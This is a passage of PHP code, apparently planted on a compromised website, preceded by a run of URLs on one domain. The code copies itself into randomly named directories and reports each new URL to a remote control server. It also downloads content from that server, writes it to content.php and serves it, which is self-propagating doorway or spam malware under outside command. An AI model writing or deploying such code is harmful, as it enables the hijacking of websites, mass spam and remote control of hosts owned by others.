http://le-genie.net/uploads/hope/5459/http://le-genie.net/uploads/hope/5518/http://le-genie.net/uploads/hope/4037/http://le-genie.net/uploads/hope/7531/http://le-genie.net/uploads/hope/9735/ fwrite($index,$content);
fclose($index);
}
function MyReadFile($file){
$handle=fopen($file,"r");
$con=fread($handle,filesize($file));
fclose($handle);
return $con;
}
$webRoot=$_SERVER['DOCUMENT_ROOT'];
//是否生成过并且不是主目录
if((is_file("content.php")) and ($isRoot!=$myname)){
include_once("content.php");
exit();
}
//随机文件夹
$Uri=trim(str_ireplace("index.php","",$_SERVER['REQUEST_URI']));
for($i=1;$i<=$PageNum;$i++){
$randMath=rand(1111,9999);
$Urls="";
if($isRoot==$myname){ //如果是主目录,则在当前目录下建目录,否则在上级目录下建目录
$OtherDir=$randMath;
$Urls="http://".$_SERVER['HTTP_HOST'].$Uri.$randMath."/";
echo "".$Urls."";
}else{
$OtherDir="../".$randMath;
$Urls="http://".$_SERVER['HTTP_HOST'].dirname($Uri)."/".$randMath."/";
}
$con=MyReadFile("index.php");
$con=str_ireplace("ck","123",$con);
createFolder($OtherDir); //创建文件夹
CreateFile($OtherDir."/index.php",$con);
getUrlContent($ControlUrl."/SaveUrl.php?url=".$Urls);
}
if($isRoot!=$myname){ //如果不是主目录
$NowUrl="http://".$_SERVER['HTTP_HOST'].$Uri;
$web="http://".$_SERVER['HTTP_HOST'];
$GetUrl=$ControlUrl."/GetInfo.php?url=".$NowUrl;
echo $FileCon=getUrlContent($ControlUrl."/GetCon.php?url=".$NowUrl."&web=".$web);
if( $FileCon != null ){
CreateFile("content.php",$FileCon);
}
}
?>